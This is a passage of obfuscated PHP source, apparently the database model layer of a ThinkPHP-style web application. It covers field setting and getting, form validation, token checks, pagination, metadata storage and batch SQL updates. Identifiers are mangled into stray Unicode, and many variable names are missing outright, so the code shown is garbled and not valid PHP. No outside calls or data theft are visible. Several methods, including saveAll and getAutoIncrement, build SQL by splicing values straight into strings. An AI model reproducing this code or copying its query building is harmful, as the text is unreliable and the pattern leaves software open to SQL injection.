unset($˟Ă[$]); } } } } return $˟Ă; } public function setField($ݼ, $Ԑ = '') { if (is_array($ݼ)) { $ = $ݼ; } else { $[$ݼ] = $Ԑ; } return $this->save($); } public function setAdd($, $ = 1) { $ތהԾ =& $_SERVER[ձК]; $Ɣ = $ . $ތהԾ[373] . $; if ($ < 0) { $Ɣ = $ . $; } return $this->setField($, array($ތהԾ[374], $Ɣ)); } public function getField($, $ݹ = null) { $ =& $_SERVER[ձК]; $䇶[$[352]] = $; $䇶 = $this->_parseOptions($䇶); $ = trim($); if (strpos($, $[50])) { if (!isset($䇶[$[369]])) { $䇶[$[369]] = is_numeric($ݹ) ? $ݹ : $[12]; } $ɪ = $this->db->select($䇶); if (!empty($ɪ)) { $ϲ = explode($[50], $); $ = array_keys($ɪ[0]); $׳ř = array_shift($); $ = array_shift($); $糒˺ = array(); $ق = count($ϲ); foreach ($ɪ as $؛) { $ = $؛[$׳ř]; if (2 == $ق) { $糒˺[$] = $؛[$]; } else { $糒˺[$] = is_string($ݹ) ? implode($ݹ, $؛) : $؛; } } return $糒˺; } } else { if (!0 !== $ݹ) { $䇶[$[369]] = is_numeric($ݹ) ? $ݹ : 1; } if ($ݹ === $[334]) { unset($䇶[$[369]]); } $؛ = $this->db->select($䇶); if (!empty($؛)) { if ($ݹ === $[334]) { return reset($؛[0]); } if (!0 !== $ݹ && 1 == $䇶[$[369]]) { return reset($؛[0]); } foreach ($؛ as $Ɛ) { $Ɪ[] = $Ɛ[$]; } return $Ɪ; } } return null; } public function create($檛 = '', $߹ = '') { $˝ =& $_SERVER[ձК]; if (empty($檛)) { $檛 = $_POST; } elseif (is_object($檛)) { $檛 = get_object_vars($檛); } if (empty($檛) || !is_array($檛)) { $this->error = think_lang($˝[350]); return !1; } $檛 = $this->parseFieldsMap($檛, 0); $߹ = $߹ ? $߹ : (!empty($檛[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$˝[352]])) { $ɣ = $this->options[$˝[352]]; unset($this->options[$˝[352]]); } elseif ($߹ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ɣ = $this->insertFields; } elseif ($߹ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ɣ = $this->updateFields; } if (isset($ɣ)) { if (is_string($ɣ)) { $ɣ = explode($˝[50], $ɣ); } if (think_config($˝[375])) { $ɣ[] = think_config($˝[376]); } foreach ($檛 as $ҿ => $) { if (!in_array($ҿ, $ɣ)) { unset($檛[$ҿ]); } } } if (!$this->autoValidation($檛, $߹)) { return !1; } if (!$this->autoCheckToken($檛)) { $this->error = think_lang($˝[377]); return !1; } if ($this->autoCheckFields) { $ɣ = $this->getDbFields(); foreach ($檛 as $ҿ => $) { if (!in_array($ҿ, $ɣ)) { unset($檛[$ҿ]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $檛[$ҿ] = stripslashes($); } } } $this->autoOperation($檛, $߹); $this->data = $檛; return $檛; } public function autoCheckToken($詸) { $ﳗ =& $_SERVER[ձК]; if (isset($this->options[$ﳗ[378]]) && !$this->options[$ﳗ[378]]) { return !0; } if (think_config($ﳗ[375])) { $ = think_config($ﳗ[376]); if (!isset($詸[$]) || Session::get($)) { return !1; } list($, $üԯ) = explode($ﳗ[11], $詸[$]); if ($üԯ && Session::get($ . $ﳗ[10] . $) === $üԯ) { Session::remove($ . $ﳗ[10] . $); return !0; } if (think_config($ﳗ[379])) { Session::remove($ . $ﳗ[10] . $); } return !1; } return !0; } public function regex($ޮ, $ӿ) { $ߡ =& $_SERVER[ձК]; $ż = array($ߡ[380] => $ߡ[381], $ߡ[382] => $ߡ[383], $ߡ[384] => $ߡ[385], $ߡ[386] => $ߡ[387], $ߡ[388] => $ߡ[389], $ߡ[390] => $ߡ[391], $ߡ[392] => $ߡ[393], $ߡ[367] => $ߡ[394], $ߡ[395] => $ߡ[396]); if (isset($ż[strtolower($ӿ)])) { $ӿ = $ż[strtolower($ӿ)]; } return preg_match($ӿ, $ޮ) === 1; } private function autoOperation(&$, $툏) { $بά =& $_SERVER[ձК]; if (!empty($this->options[$بά[397]])) { $҂ = $this->options[$بά[397]]; unset($this->options[$بά[397]]); } elseif (!empty($this->_auto)) { $҂ = $this->_auto; } if (isset($҂)) { foreach ($҂ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($툏 == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $بά[398]: case $بά[399]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($بά[398] == $[3]) { $[$[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $بά[352]: $[$[0]] = $[$[1]]; break; case $بά[400]: if ($بά[12] === $[$[0]]) { unset($[$[0]]); } break; case $بά[401]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($忘, $Ծ) { $ =& $_SERVER[ձК]; if (!empty($this->options[$[402]])) { $ѳ = $this->options[$[402]]; unset($this->options[$[402]]); } elseif (!empty($this->_validate)) { $ѳ = $this->_validate; } if (isset($ѳ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ѳ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $Ծ) { if (0 == strpos($[2], $[403]) && strpos($[2], $[404])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $[405]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($忘, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($忘[$[0]])) { if (!1 === $this->_validationField($忘, $)) { return !1; } } break; default: if (isset($忘[$[0]])) { if (!1 === $this->_validationField($忘, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $٠) { if (!1 === $this->_validationFieldItem($, $٠)) { if ($this->patchValidate) { $this->error[$٠[0]] = $٠[2]; } else { $this->error = $٠[2]; return !1; } } return; } protected function _validationFieldItem($ű, $ݕ蘎) { $¹м =& $_SERVER[ձК]; switch (strtolower(trim($ݕ蘎[4]))) { case $¹м[398]: case $¹м[399]: $ח = isset($ݕ蘎[6]) ? (array) $ݕ蘎[6] : array(); if (is_string($ݕ蘎[0]) && strpos($ݕ蘎[0], $¹м[50])) { $ݕ蘎[0] = explode($¹м[50], $ݕ蘎[0]); } if (is_array($ݕ蘎[0])) { foreach ($ݕ蘎[0] as $铑) { $ȏ[$铑] = $ű[$铑]; } array_unshift($ח, $ȏ); } else { array_unshift($ח, $ű[$ݕ蘎[0]]); } if ($¹м[398] == $ݕ蘎[4]) { return call_user_func_array($ݕ蘎[1], $ח); } else { return call_user_func_array(array(&$this, $ݕ蘎[1]), $ח); } case $¹м[406]: return $ű[$ݕ蘎[0]] == $ű[$ݕ蘎[1]]; case $¹м[407]: if (is_string($ݕ蘎[0]) && strpos($ݕ蘎[0], $¹м[50])) { $ݕ蘎[0] = explode($¹м[50], $ݕ蘎[0]); } $ = array(); if (is_array($ݕ蘎[0])) { foreach ($ݕ蘎[0] as $铑) { $[$铑] = $ű[$铑]; } } else { $[$ݕ蘎[0]] = $ű[$ݕ蘎[0]]; } if (!empty($ű[$this->getPk()])) { $[$this->getPk()] = array($¹м[408], $ű[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($ű[$ݕ蘎[0]], $ݕ蘎[1], $ݕ蘎[4]); } } public function check($, $ڳ, $ = "\162\x65\x67\145\x78") { $ο =& $_SERVER[ձК]; $ = strtolower(trim($)); switch ($) { case $ο[7]: case $ο[409]: $Ł = is_array($ڳ) ? $ڳ : explode($ο[50], $ڳ); return $ == $ο[7] ? in_array($, $Ł) : !in_array($, $Ł); case $ο[410]: case $ο[411]: if (is_array($ڳ)) { $ = $ڳ[0]; $ = $ڳ[1]; } else { list($, $) = explode($ο[50], $ڳ); } return $ == $ο[410] ? $ >= $ && $ <= $ : $ < $ || $ > $; case $ο[412]: case $ο[413]: return $ == $ο[412] ? $ == $ڳ : $ != $ڳ; case $ο[414]: $ڥ = mb_strlen($, $ο[415]); if (strpos($ڳ, $ο[50])) { list($, $) = explode($ο[50], $ڳ); return $ڥ >= $ && $ڥ <= $; } else { return $ڥ == $ڳ; } case $ο[416]: list($, $ج) = explode($ο[50], $ڳ); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($ج)) { $ج = strtotime($ج); } return NOW_TIME >= $ && NOW_TIME <= $ج; case $ο[417]: return in_array(get_client_ip(), explode($ο[50], $ڳ)); case $ο[418]: return !in_array(get_client_ip(), explode($ο[50], $ڳ)); case $ο[405]: default: return $this->regex($, $ڳ); } } public function query($Վ, $ = false) { $ =& $_SERVER[ձК]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $Վ = str_replace(array($[287], $[419]), $[53], $Վ); $Վ = $this->parseSql($Վ, $); return $this->db->query($Վ); } public function execute($̨, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $̨ = $this->parseSql($̨, $); return $this->db->execute($̨); } protected function parseSql($߇, $ݸ) { $ɝ =& $_SERVER[ձК]; if (!0 === $ݸ) { $ = $this->_parseOptions(); $߇ = $this->db->parseSql($߇, $); } elseif (is_array($ݸ)) { $ݸ = array_map(array($this->db, $ɝ[420]), $ݸ); $߇ = vsprintf($߇, $ݸ); } else { $߇ = strtr($߇, array($ɝ[421] => $this->getTableName(), $ɝ[422] => think_config($ɝ[323]))); } $this->db->setModel($this->name); return $߇; } public function db($ = '', $ = '', $ق = array()) { $ޭ =& $_SERVER[ձК]; if ($ޭ[12] === $ && $this->db) { return $this->db; } static $خ = array(); static $Ż = array(); if (!isset($Ż[$]) || isset($Ż[$]) && $ && $خ[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $ޭ[8])) { $ = think_config($); } $ = think_guid($); $Ż[$] = Db::getInstance($); } elseif (NULL === $) { $Ż[$]->close(); unset($Ż[$]); return; } if (!empty($ق)) { if (is_string($ق)) { parse_str($ق, $ق); } foreach ($ق as $ć => $扽) { $this->setProperty($ć, $扽); } } $خ[$] = $; $this->db = $Ż[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $葡 = get_class($this); if ($葡 == $_SERVER[ձК][423]) { return $this->name; } $this->name = substr($葡, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[ձК]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[ձК]; return isset($this->fields[$[330]]) ? $this->fields[$[330]] : $this->pk; } public function getDbFields() { $݂ =& $_SERVER[ձК]; if (isset($this->options[$݂[358]])) { $ = $this->db->getFields($this->options[$݂[358]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$݂[329]], $[$݂[330]], $[$݂[331]], $[$݂[328]]); return $; } return !1; } public function data($Ց = '') { $蟛 =& $_SERVER[ձК]; if ($蟛[12] === $Ց && !empty($this->data)) { return $this->data; } if (is_object($Ց)) { $Ց = get_object_vars($Ց); } elseif (is_string($Ց)) { parse_str($Ց, $Ց); } elseif (!is_array($Ց)) { think_exception(think_lang($蟛[350])); } $this->data = $Ց; return $this; } public function join($Й) { $І웥 =& $_SERVER[ձК]; if (is_array($Й)) { $this->options[$І웥[361]] = $Й; } elseif (!empty($Й)) { $this->options[$І웥[361]][] = $Й; } return $this; } public function union($ԇԸ, $՜ = false) { $Ӓ =& $_SERVER[ձК]; if (empty($ԇԸ)) { return $this; } if ($՜) { $this->options[$Ӓ[424]][$Ӓ[425]] = !0; } if (is_object($ԇԸ)) { $ԇԸ = get_object_vars($ԇԸ); } if (is_string($ԇԸ)) { $־ = $ԇԸ; } elseif (is_array($ԇԸ)) { if (isset($ԇԸ[0])) { $this->options[$Ӓ[424]] = array_merge($this->options[$Ӓ[424]], $ԇԸ); return $this; } else { $־ = $ԇԸ; } } else { think_exception(think_lang($Ӓ[350])); } $this->options[$Ӓ[424]][] = $־; return $this; } public function cache($ͪ = true, $ܴ֗ = null, $ꘂ = '') { $Ƃ =& $_SERVER[ձК]; if (!1 !== $ͪ) { $this->options[$Ƃ[426]] = array($Ƃ[97] => $ͪ, $Ƃ[416] => $ܴ֗, $Ƃ[33] => $ꘂ); } return $this; } public function field($, $ػ = false) { $ =& $_SERVER[ձК]; if (!0 === $) { $װ = $this->getDbFields(); $ = $װ ? $װ : $[222]; } elseif ($ػ) { if (is_string($)) { $ = explode($[50], $); } $װ = $this->getDbFields(); $ = $װ ? array_diff($װ, $) : $; } $this->options[$[352]] = $; return $this; } public function scope($ǽ = '', $ӊ = NULL) { $Ղ =& $_SERVER[ձК]; if ($Ղ[12] === $ǽ) { if (isset($this->_scope[$Ղ[37]])) { $ˌ = $this->_scope[$Ղ[37]]; } else { return $this; } } elseif (is_string($ǽ)) { $ݺޓ = explode($Ղ[50], $ǽ); $ˌ = array(); foreach ($ݺޓ as $Ɲ) { if (!isset($this->_scope[$Ɲ])) { continue; } $ˌ = array_merge($ˌ, $this->_scope[$Ɲ]); } if (!empty($ӊ) && is_array($ӊ)) { $ˌ = array_merge($ˌ, $ӊ); } } elseif (is_array($ǽ)) { $ˌ = $ǽ; } if (is_array($ˌ) && !empty($ˌ)) { $this->options = array_merge($this->options, array_change_key_case($ˌ)); } return $this; } public function where($, $ץ = null) { $̶ =& $_SERVER[ձК]; if (!is_null($ץ) && is_string($)) { if (!is_array($ץ)) { $ץ = func_get_args(); array_shift($ץ); } $ץ = array_map(array($this->db, $̶[420]), $ץ); $ = vsprintf($, $ץ); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $Ɠ => $ݘ) { if ((is_numeric($Ɠ) || !$Ɠ) && is_string($ݘ)) { if (strpos($ݘ, $̶[427]) === 0) { continue; } think_trace($̶[428], $̶[12], $̶[49]); die; } } } if (is_string($) && $̶[12] != $) { $ = array(); $[$̶[429]] = $; $ = $; } if (isset($this->options[$̶[354]])) { $this->options[$̶[354]] = array_merge($this->options[$̶[354]], $); } else { $this->options[$̶[354]] = $; } return $this; } public function limit($ʁ, $ɑ = null) { $驀 =& $_SERVER[ձК]; $this->options[$驀[369]] = is_null($ɑ) ? $ʁ : $ʁ . $驀[50] . $ɑ; return $this; } public function page($, $ = null) { $ =& $_SERVER[ձК]; $this->options[$[430]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($߅) { $this->options[$_SERVER[ձК][431]] = $߅; return $this; } public function setProperty($, $Ê) { if (property_exists($this, $)) { $this->{$} = $Ê; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\144\x69\x66\x79\124\151\x6d\x65", "\x74\151\155\x65", "\x69\156\x73\x65\x72\x74\x2c\x75\160\x64\x61\164\x65", "\x66\x75\156\x63\164\x69\x6f\156"), array("\x63\162\x65\141\164\145\124\151\155\145", "\164\151\x6d\x65", "\x69\156\163\x65\x72\164", "\146\x75\156\x63\x74\x69\x6f\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ا = '', $ = '') { parent::__construct($, $ا, $); } protected $tableMeta = array(); protected function _beforeInsert(&$ƛ, $ȗ) { $η֚ =& $_SERVER[ձК]; if (!$this->checkDataAutoHas($η֚[432])) { return; } $this->dataBeforeFilter($ƛ, $η֚[432]); } protected function _beforeUpdate(&$, $ɟ̆) { $猌 =& $_SERVER[ձК]; if (!$this->checkDataAutoHas($猌[433])) { return; } $this->dataBeforeFilter($, $猌[433]); } protected function _afterSelect(&$, $̾̇) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[ձК][434])) { return; } foreach ($ as &$䳣) { $this->dataAfterFilter($䳣); } unset($䳣); } protected function _afterFind(&$ӵ, $) { if (!is_array($ӵ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ձК][434])) { return; } $this->dataAfterFilter($ӵ); } public static function textEncode($) { if (!$) { return $; } $мȎ = json_encode($); $мȎ = preg_replace_callback($_SERVER[ձК][435], function ($н) { return addslashes($н[0]); }, $мȎ); return json_decode($мȎ); } public static function textDecode($݁) { $ =& $_SERVER[ձК]; $ۦ̾ = json_encode($݁); $ۦ̾ = preg_replace_callback($[436], function ($ٛ٦) { return $_SERVER[ձК][100]; }, $ۦ̾); return json_decode($ۦ̾); } public function setAutoIncrement($ڎ) { $ڿ = array($this->getPk() => $ڎ); $ = $this->data($ڿ)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $ = $this->query("\163\x68\x6f\x77\40\164\x61\x62\154\x65\x20\163\x74\141\164\x75\x73\x20\x77\150\145\x72\x65\40\116\x61\155\145\75\47{$}\x27"); $ = $[0][$_SERVER[ձК][437]]; $ԏ = max($, $); return $ԏ; } protected function _callBefore($, $و) { return $this->cacheCallCheck($, $و, !1); } protected function _callAfter($۰, $꜒) { return $this->cacheCallCheck($۰, $꜒, !0); } protected function cacheFunctionAlias($י) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ӓ, $, $ȗ = false) { $˞ =& $_SERVER[ձК]; $ƞަ = $this->cacheFunctionAlias($); if (!$ƞަ) { return; } foreach ($ƞަ as $ => $↥) { $ = $↥[0]; $鶳 = explode($˞[50], $↥[1]); $ = isset($↥[2]) ? $↥[2] : $˞[12]; if ($ӓ == $) { return $this->cacheFunctionGet($, $, $); } if ($ȗ && in_array($ӓ, $鶳)) { $this->cacheFunctionClear($, $, $); } } } public function cacheFunctionGet($ѝ, $, $ = '') { $ = $this->cacheKeyMake($ѝ, $, $); $ý = Cache::get($); if (!is_array($ý)) { $ý = call_user_func_array(array($this, $ѝ), array($, !0)); Cache::set($, $ý); } return $ý; } public function cacheFunctionClear($ܚ, $, $ = '') { $ѳ = $; if (!is_array($)) { $ѳ = array($); } foreach ($ѳ as $댬) { $׀ = $this->cacheKeyMake($ܚ, $댬, $); Cache::remove($׀); } } private function cacheKeyMake($, $̎, $) { $Խ =& $_SERVER[ձК]; if ($) { $̎ = $̎ . $Խ[438] . $; } return get_class($this) . $Խ[11] . $ . $Խ[439] . $̎; } protected function selectPageReset() { $鴥 =& $_SERVER[ձК]; if (isset($GLOBALS[$鴥[440]])) { return; } $GLOBALS[$鴥[440]] = isset($GLOBALS[$鴥[7]][$鴥[441]]) ? $GLOBALS[$鴥[7]][$鴥[441]] : !1; $GLOBALS[$鴥[442]] = isset($GLOBALS[$鴥[7]][$鴥[430]]) ? $GLOBALS[$鴥[7]][$鴥[430]] : !1; $GLOBALS[$鴥[7]][$鴥[441]] = !1; $GLOBALS[$鴥[7]][$鴥[430]] = !1; } protected function selectPageRestore() { $Ѽ =& $_SERVER[ձК]; if (!isset($GLOBALS[$Ѽ[440]])) { return; } $GLOBALS[$Ѽ[7]][$Ѽ[441]] = $GLOBALS[$Ѽ[440]]; $GLOBALS[$Ѽ[7]][$Ѽ[430]] = $GLOBALS[$Ѽ[442]]; if ($GLOBALS[$Ѽ[7]][$Ѽ[441]] === !1) { unset($GLOBALS[$Ѽ[7]][$Ѽ[441]]); } if ($GLOBALS[$Ѽ[7]][$Ѽ[430]] === !1) { unset($GLOBALS[$Ѽ[7]][$Ѽ[430]]); } unset($GLOBALS[$Ѽ[440]]); unset($GLOBALS[$Ѽ[442]]); } protected function selectPage($Ғ = 200, $ = 1) { $Ĥ =& $_SERVER[ձК]; global $in; $같 = $this->optionsValue(); $ = 50000; $Ғ = isset($in[$Ĥ[441]]) && $in[$Ĥ[441]] ? $in[$Ĥ[441]] : $Ғ; if ($Ғ === -1) { $in[$Ĥ[441]] = !1; $ = 100000000; $Ғ = $; } $ɞ = $같; $ɞ[$Ĥ[443]] = array(); $Ғ = intval($Ғ); $Ғ = $Ғ <= 5 ? 5 : ($Ғ >= $ ? $ : $Ғ); $ = intval(isset($in[$Ĥ[430]]) && $in[$Ĥ[430]] ? $in[$Ĥ[430]] : $); $ = $ <= 1 ? 1 : $; $ɯ = array(); $˹ = 1; if ($ == 1 && $˹) { $this->optionsValue($같); $ɯ = $this->page($, $Ғ)->select(); $ư = is_array($ɯ) ? count($ɯ) : 0; if ($ư < $Ғ) { $ = 1; } else { $this->optionsValue($ɞ); $ư = intval($this->count()); $ = ceil($ư / $Ғ); } } else { $this->optionsValue($ɞ); $ư = intval($this->count()); $ = ceil($ư / $Ғ); $ = $ >= $ ? $ : $; $this->optionsValue($같); $ɯ = $this->page($, $Ғ)->select(); } if (!is_array($ɯ)) { $ɯ = array(); } if ($ == 1) { $ư = count($ɯ); } $ = array($Ĥ[444] => array($Ĥ[445] => $ư, $Ĥ[441] => $Ғ, $Ĥ[430] => $, $Ĥ[446] => $), $Ĥ[447] => $ɯ); return $; } protected function checkLength($钟, $ڕ = 0, $ = '') { $а =& $_SERVER[ձК]; $ڕ = $ڕ ? $ڕ : 65536; if (!$钟 || strlen($钟) < $ڕ) { return; } $ = $ ? $ . $а[74] : $а[12]; show_json($ . LNG($а[448]) . "\50{$ڕ}\x29", !1); } protected function metaSet($稳ǐ, $旅 = null, $綩 = null) { $ =& $_SERVER[ձК]; if (!$this->tableMeta || !$稳ǐ) { return !1; } $ê鰋 = $this->tableMeta[$[449]]; $ǿ = $this->tableMeta[$[450]]; $ԕ = Model($ǿ); $ = array($ê鰋 => $稳ǐ, $[451] => $旅); if (is_null($旅)) { return $ԕ->where(array($ê鰋 => $稳ǐ))->delete(); } if (is_null($綩) && is_string($旅)) { return $ԕ->where($)->delete(); } $ = is_array($旅) ? $旅 : array(); if (is_string($旅)) { $[$旅] = $綩; } $ý = array(); foreach ($ as $ڍ => $◞) { if (is_null($◞) && is_string($ڍ)) { $ԕ->where(array($ê鰋 => $稳ǐ, $[451] => $ڍ))->delete(); continue; } $this->checkLength($◞, !1, $ǿ . $[4] . $ڍ); $ý[] = array($ê鰋 => $稳ǐ, $[97] => $ڍ, $[452] => $◞); } $ = $[453] . $ǿ; CacheLock::lock($); $ԕ->where(array($ê鰋 => $稳ǐ))->addAll($ý, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $ = false) { $ɵ =& $_SERVER[ձК]; if (!$this->tableMeta) { return array(); } $ԯ = $this->tableMeta[$ɵ[449]]; $͚ە = Model($this->tableMeta[$ɵ[450]]); if ($) { $Ģ = array($ԯ => $, $ɵ[97] => $); return $͚ە->where($Ģ)->getField($ɵ[452]); } $Ģ = array($ԯ => $); $ = $͚ە->field($ɵ[454])->where($Ģ)->select(); $ = array_to_keyvalue($, $ɵ[97], $ɵ[452]); return $; } private function checkDataAutoHas($ǿ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($ǿ, explode($_SERVER[ձК][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $՞ =& $_SERVER[ձК]; if (!is_array($)) { return; } foreach ($this->dataAuto as $ڮ) { $К = $ڮ[0]; if (!in_array($, explode($՞[50], $ڮ[2]))) { continue; } switch (trim($ڮ[3])) { case $՞[398]: case $՞[399]: $ = $ڮ[1]; $Ÿߴ = isset($ڮ[4]) ? (array) $ڮ[4] : array(); if ($ == $՞[206] && array_key_exists($К, $)) { if (!$[$К]) { unset($[$К]); } break; } if (isset($[$К])) { array_unshift($Ÿߴ, $[$К]); } if ($՞[398] == $ڮ[3]) { $[$К] = call_user_func_array($, $Ÿߴ); } else { $[$К] = call_user_func_array(array(&$this, $), $Ÿߴ); } break; case $՞[349]: if (isset($[$К]) && $[$К]) { $[$К] = call_user_func_array(array(&$this, $ڮ[1]), array($[$К])); } break; case $՞[352]: $[$К] = $[$ڮ[1]]; break; case $՞[371]: if (isset($[$К]) && !is_string($[$К])) { $[$К] = json_encode_force($[$К]); } break; case $՞[400]: if ($[$К] === $՞[12]) { unset($[$К]); } break; case $՞[401]: $[$К] = $ڮ[1]; default: break; } } if ($ == $՞[432]) { $ = strtolower($this->db->getDbType()); if (strpos($, $՞[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ݔ = $[$՞[331]]; if (isset($[$՞[330]])) { unset($ݔ[$[$՞[330]]]); } foreach ($ݔ as $Ӗ => $) { if (!isset($[$Ӗ])) { $[$Ӗ] = $՞[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[ձК]; foreach ($this->dataAuto as $Ϊ) { $𭰪 = $Ϊ[0]; if (!isset($[$𭰪])) { continue; } if (!in_array($[434], explode($[50], $Ϊ[2]))) { continue; } switch (trim($Ϊ[3])) { case $[398]: case $[399]: $֑ = isset($Ϊ[4]) ? (array) $Ϊ[4] : array(); array_unshift($֑, $[$𭰪]); if (isset($Ϊ[4]) && $Ϊ[4] == $[455]) { $֑ = array($[$𭰪]); } if ($[398] == $Ϊ[3]) { $[$𭰪] = call_user_func_array($Ϊ[1], $֑); } else { $[$𭰪] = call_user_func_array(array(&$this, $Ϊ[1]), $֑); } break; case $[349]: if (isset($[$𭰪]) && $[$𭰪]) { $[$𭰪] = call_user_func_array(array(&$this, $Ϊ[1]), array($[$𭰪])); } break; case $[352]: $[$𭰪] = $[$Ϊ[1]]; break; case $[371]: $׀ = $[$𭰪]; $[$𭰪] = json_decode($׀, !0); if (is_null($[$𭰪])) { $[$𭰪] = $׀; } break; case $[400]: if ($[$𭰪] === $[12]) { unset($[$𭰪]); } break; case $[401]: $[$𭰪] = $Ϊ[1]; break; default: break; } } } public function saveAll($ѯ) { $ =& $_SERVER[ձК]; $۴ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ѯ = is_array($ѯ) ? $ѯ : array(); $ = $[456]; $ϻ = 0; $ܡϳ = array(); $ = count($ѯ); for ($˞ٷ = 0; $˞ٷ < $; $˞ٷ++) { $ = $ѯ[$˞ٷ]; if (!is_array($) || count($) != 4) { continue; } $ = "\125\x50\104\101\124\105\40\140{$۴}\x60\x20\x53\105\124\40{$[2]}\x20\75\40\x43\x41\123\105\x20{$[0]}\40\xa"; if ($ϻ == 0) { $ = $; } $ܡϳ[] = $[121] . $[1] . $[121]; $ϻ++; $ .= "\x20\127\x48\105\116\x20\47{$[1]}\47\40\124\110\105\x4e\40\x27{$[3]}\47\40\12"; if ($ϻ == $ || $˞ٷ == $ - 1) { $ȁ = implode($[50], $ܡϳ); $ .= "\40\105\x4e\104\40\40\x57\110\105\122\105\x20{$[0]}\40\x49\116\x20\x28{$ȁ}\x29\x20"; $this->execute($); $ϻ = 0; $ = $; $this->chunkEventCheck(count($ܡϳ)); $ܡϳ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $
=& $_SERVER[ձК]; $ޯ = $this->tablePrefix . $this->tableName; foreach ($ as $닔) { if (!is_array($닔) || count($닔) != 4) { continue; } $Ι = $닔[0] . $
[457] . $닔[1] . $
[121]; $أ = $닔[2] . $
[457] . $닔[3] . $
[121]; $ = "\165\160\144\x61\164\x65\x20{$ޯ}\40\x73\145\164\x20{$أ}\x20\x77\x68\x65\162\x65\40{$Ι}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($Υ = false, $σѬ = false) { $this->_chunkEvent = $Υ; $this->_chunkEventParam = $σѬ; } private function chunkEventCheck($ދ) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[ձК][458]] = $ދ; Hook::trigger($this->_chunkEvent, $); } public function addAll($ޣЩ, $ = array(), $ = false) { $ =& $_SERVER[ձК]; ignore_timeout(); $Ȗ = self::SQL_WHERE_IN_CHUNK; if (empty($ޣЩ)) { $this->error = think_lang($[350]); return !1; } $ = $this->_parseOptions($); foreach ($ޣЩ as $̛ => $) { $ޣЩ[$̛] = $this->_facade($); $this->_beforeInsert($ޣЩ[$̛], $); } if (method_exists($this->db, $[351])) { for ($ݸ = 0; $ݸ < count($ޣЩ); $ݸ += $Ȗ) { $ߜ = array_slice($ޣЩ, $ݸ, $Ȗ); if (!is_array($ߜ) || count($ߜ) == 0) { break; } $峒̲ = $this->db->insertAll($ߜ, $, $); $this->chunkEventCheck(count($ߜ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ޣЩ as $̛ => $) { $峒̲ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $峒̲) { $ = $this->getLastInsID(); if ($) { return $; } } return $峒̲; } public function save($ = '', $ց = array()) { $䜞 =& $_SERVER[ձК]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $ց); } $ = 0; $ޙҢ = $[$䜞[354]][$][1]; $ޙҢ = is_array($ޙҢ) ? $ޙҢ : array(); $܆ = count($ޙҢ); for ($팲 = 0; $팲 < $܆; $팲 += $) { $ك = array_slice($ޙҢ, $팲, $); if (!is_array($ك) || count($ك) == 0) { break; } $[$䜞[354]][$][1] = $ك; 